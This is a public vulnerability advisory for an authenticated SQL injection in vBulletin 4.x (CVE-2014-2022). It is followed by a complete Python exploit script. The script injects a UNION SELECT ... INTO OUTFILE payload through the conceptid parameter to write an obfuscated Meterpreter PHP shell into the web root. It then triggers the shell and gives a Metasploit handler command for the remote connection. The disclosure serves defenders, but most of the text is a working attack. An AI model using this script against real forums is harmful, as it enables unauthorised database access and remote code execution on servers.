CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)
==============================================================================
Overview
--------
date : 10/12/2014
cvss : 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base
cwe : 89
vendor : vBulletin Solutions
product : vBulletin 4
versions affected : latest 4.x (to date); verified <= 4.2.2
* vBulletin 4.2.2 (verified)
* vBulletin 4.2.1 (verified)
* vBulletin 4.2.0 PL2 (verified)
exploitability :
* remotely exploitable
* requires authentication (apikey)
patch availability (to date) : None
Abstract
---------
vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing
an attacker to inject arbitrary SQL commands (SELECT).
risk: rather low - due to the fact that you the api key is required
you can probably use CVE-2014-2023 to obtain the api key
Details
--------
vulnerable component:
./includes/api/4/breadcrumbs_create.php
vulnerable argument:
conceptid
which is sanitized as TYPE_STRING which does not prevent SQL injections.
Proof of Concept (PoC)
----------------------
see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
1) prerequisites
1.1) enable API, generate API-key
logon to AdminCP
goto "vBulletin API"->"API-Key" and enable the API interface, generate key
2) run PoC
edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder)
Note: meterpreter_bind_tcp is not provided
run PoC, wait for SUCCESS! message
Note: poc will trigger meterpreter shell
meterpreter PoC scenario requires the mysql user to have write permissions
which may not be the case in some default installations.
Timeline
--------
2014-01-14: initial vendor contact, no response
2014-02-24: vendor contact, no response
2014-10-13: public disclosure
Contact
--------
tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022
(0x721427D8)
- - -
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib
class Exploit(object):
baseurl = None
cookies = None
def __init__(self,baseurl,params, debuglevel=1):
self.cookies = cookielib.LWPCookieJar()
handlers = [
urllib2.HTTPHandler(debuglevel=debuglevel),
urllib2.HTTPSHandler(debuglevel=debuglevel),
urllib2.HTTPCookieProcessor(self.cookies)
]
self.browser = urllib2.build_opener(*handlers)
self.baseurl=baseurl
self.params = params
def call(self,path="",data={}):
assert(isinstance(data,dict))
data = urllib.urlencode(data)
req = urllib2.Request("%s%s"%(self.baseurl,path),data)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
return self.browser.open(req)
def call_json(self,path=None,data={}):
try:
x=self.call(path,data).read()
print "raw_response", x
resp = json.loads(x)
except urllib2.HTTPError, he:
resp = he.read()
return resp
def vb_init_api(self):
params = {'api_m':'api_init'}
params.update(self.params)
data = self.call_json("?%s"%(urllib.urlencode(params)))
self.session = data
return data
def vb_call(self, params):
api_sig = self._vb_build_api_sig(params)
req_params = self._vb_build_regstring(api_sig)
params.update(req_params)
data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
if not isinstance(data, dict):
return data
if 'errormessage' in data['response'].keys():
raise Exception(data)
return data
def _ksort(self, d):
ret = []
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
ret.append( "%s=%s"%(key,value))
return "&".join(ret)
def _ksort_urlencode(self, d):
ret = []
for key, value in [(k,d[k]) for k in sorted(d.keys())]:
ret.append( urllib.urlencode({key:value}))
return "&".join(ret)
def _vb_build_api_sig(self, params):
apikey = self.params['apikey']
login_string = self._ksort_urlencode(params)
access_token = str(self.session['apiaccesstoken'])
client_id = str(self.session['apiclientid'])
secret = str(self.session['secret'])
return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
def _vb_build_regstring(self, api_sig):
params = {
'api_c':self.session['apiclientid'],
'api_s':self.session['apiaccesstoken'],
'api_sig':api_sig,
'api_v':self.session['apiversion'],
}
return params
if __name__=="__main__":
TARGET = "http://192.168.220.131/vbb4/api.php"
APIKEY = "4FAVcRDc"
REMOTE_SHELL_PATH = "/var/www/myShell.php"
TRIGGER_URL = "http://192.168.220.131/myShell.php"
DEBUGLEVEL = 0 # 1 to enable request tracking
### 2. sqli - simple - write outfile
print "[ 2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
params = {'clientname':'fancy_exploit_client',
'clientversion':'1.0',
'platformname':'exploit',
'platformversion':'1.5',
'uniqueid':'1234',
'apikey':APIKEY}
x = Exploit(baseurl=TARGET,params=params)
vars = x.vb_init_api()
print vars
'''
x.vb_call(params={'api_m':'breadcrumbs_create',
'type':'t',
#'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
})
print "[ *] SUCCESS! - created file %s"%TRIGGER_URL
'''
### 3. sqli - put meterpreter shell and trigger it
print "[ 3 ] - sqli - meterpreter shell + trigger"
with open("./meterpreter_bind_tcp") as f:
shell = f.read()
shell = shell.replace("<?php","").replace("?>","") #cleanup tags
shell = shell.encode("base64").replace("\n","") #encode payload
shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub
shell = "0x"+shell.encode("hex") # for mysql outfile
x.vb_call(params={'api_m':'breadcrumbs_create',
'type':'t',
'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})
print "[ *] SUCCESS! - triggering shell .. (script should not exit)"
print "[ ] exploit: #> msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"
print "[ *] shell active ... waiting for it to die ..."
print urllib2.urlopen(TRIGGER_URL)
print "[ ] shell died!"
print "-- quit --"